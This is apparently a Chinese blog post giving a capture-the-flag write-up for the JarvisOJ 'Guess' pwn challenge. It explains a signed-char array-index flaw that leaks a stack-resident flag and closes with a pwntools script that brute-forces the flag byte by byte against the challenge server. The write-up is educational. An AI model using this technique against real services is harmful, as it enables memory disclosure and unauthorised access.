JarvisOJ | Guess (带技巧的exp爆破)

这道题对我来说还是挺难的,做了很久很久吧,差点砸电脑,还好最后AC了,现记录一下过程。

附件下载

反汇编分析

查一下保护机制,只开了 NX

main() 函数里是 socket 网络编程的内容,看起来不太需要分析,于是进入其调用的 handle() 函数

逻辑似乎和逆向题差不多,每次输入一个字符串后用函数 is_flag_correct() 判断是否正确

进入 is_flag_correct() 函数

首先看到我们输入的字符串是 flag_hex ,这个命名已经提示我们输入的是 flag 字符的十六进制串(然鹅我开始并没有意识到)

同时限制了输入串的长度必须为 100 ,即 flag 串长度的两倍

for ( i_0 = 0; i_0 <= 49; ++i_0 )
   diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;

最后的这段代码是判断 flag 和 given_flag(程序计算出的)是否相等,并返回结果

而 flag 串的明文在栈内存中会出现,但我们用 IDA 看到的是假的,需要想办法在线获取

发现这题无法用之前常用的缓存区溢出漏洞来实现 pwn(保护白关了)

关键代码

考虑有没有泄露内存的方法,于是再分析一下代码

for ( i = 0; i <= 49; ++i ) {
      value1 = bin_by_hex[flag_hex[2 * i]];
      value2 = bin_by_hex[flag_hex[2 * i + 1]];
      given_flag[i] = value2 | 16 * value1;
}

这几句看起来比较关键,一个个数组来看

flag_hex[] 是我们输入的,bin_by_hex[] 是数据段内存 unk_401100 拷贝过来的

而 given_flag[] 的计算过程其实就是把 value1 当作十六进制字符首位,value2 为末位,计算一个 ASCALL 值,即:

given_flag[i] = (char)(value1 * 16 + value2)

这要求了 (char)value1/2 的真实值范围是 0~15,其依赖于 bin_by_hex[] 数组的寻址

而 bin_by_hex[] 里面的数据比较有意思

发现除了偏移量为 48-57,65-90,97-122 的字节的真实值为 0-15 外,其他都是 0xFF(-1)

若把以上三个范围的偏移量作为 ASCALL 值,则分别代表了数字、大写字母、小写字母

所以源程序的逻辑就理清了,如下:

\((1)\) 输入 flag 的十六进制字符串

\((2)\) 每次取两位计算一位字符(利用 bin_by_hex 数组寻址)

\((3)\) 与真实 flag 校验

那我们应该如何利用这一过程获取栈空间中的 flag 呢?其实还要通过 bin_by_hex 寻址的过程

漏洞利用

显然 flag_hex[] 是受我们控制的,如果我们令它为负数,就可以访问到 bin_by_hex[0] 往上的栈空间

再来看一手栈布局

bin_by_hex[] 往上就是 flag[] 了,这样只要让 flag_hex[2 * i + 1] 取一个负值,就可以让 value2[i] 成为 flag 串的一个字节

这种操作有点奇怪,因为 flag_hex 毕竟是个 char 数组,但试验后发现用 char 作下标时会转化成带符号的 int8 类型,0xFF -> -1

至于 value1 在写 payload 时让它为 0 就好了,最后计算出的 give_flag[i] 就是 flag[i] 了

如此操作 50 次,就通过了校验,此时我们一个得到了一个通用 payload,但 flag 明文依然不知道,于是考虑进行逐位爆破

爆破操作

爆破的大致思路是在通用 payload(在下面代码中为 leak)的基础上进行两位两位的修改,

枚举可能出现的字符 [0-9a-z],把原先的用于泄露的双字节改成真实字符的 ASCALL 值的十六进制表示的字符

比如枚举到 'a' 时,'a' 的 ASCALL 值为 97,十六进制为 0x61,就把 payload[i * 2] 改为 '6',payload[i * 2 + 1] 改为 '1'

如果正好找到了当前双字节的原本值,就会在 send 之后接受到成功信息:Yaaaay,把当前双字节加入答案串中

对于每个双字节都如此操作,就可以逐位爆破出全部的答案串,注意下格式是 PCTF{}

代码如下

from pwn import *
io = remote('pwn.jarvisoj.com', '9878')
#io = process('./source')

#context(log_level = 'debug')
List = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
leak = []
for i in range(50):
	leak.append('0')
	leak.append(chr(128 + 0x40 + i))

flag = 'PCTF{'
for i in range(5, 50):
	for j in List:
		io.recvuntil('>')
		#print 'i = ', i, 'j =', j
		#print ord(j)
		payload = leak
		# '0' -> '0x30'
	
		payload[i*2] = hex(ord(j))[2]
		payload[i*2+1] = hex(ord(j))[3]
		#print bytes(''.join(payload))
		#print ''.join(payload)
		io.sendline(''.join(payload))
		re = io.recvline()
		#print re
		if re.count('Yaaaay'):
			flag += j
			break
flag += '}'
print flag
io.interactive()

posted @ 2020-05-13 20:26  暖暖草果  阅读(365)  评论(0编辑  收藏  举报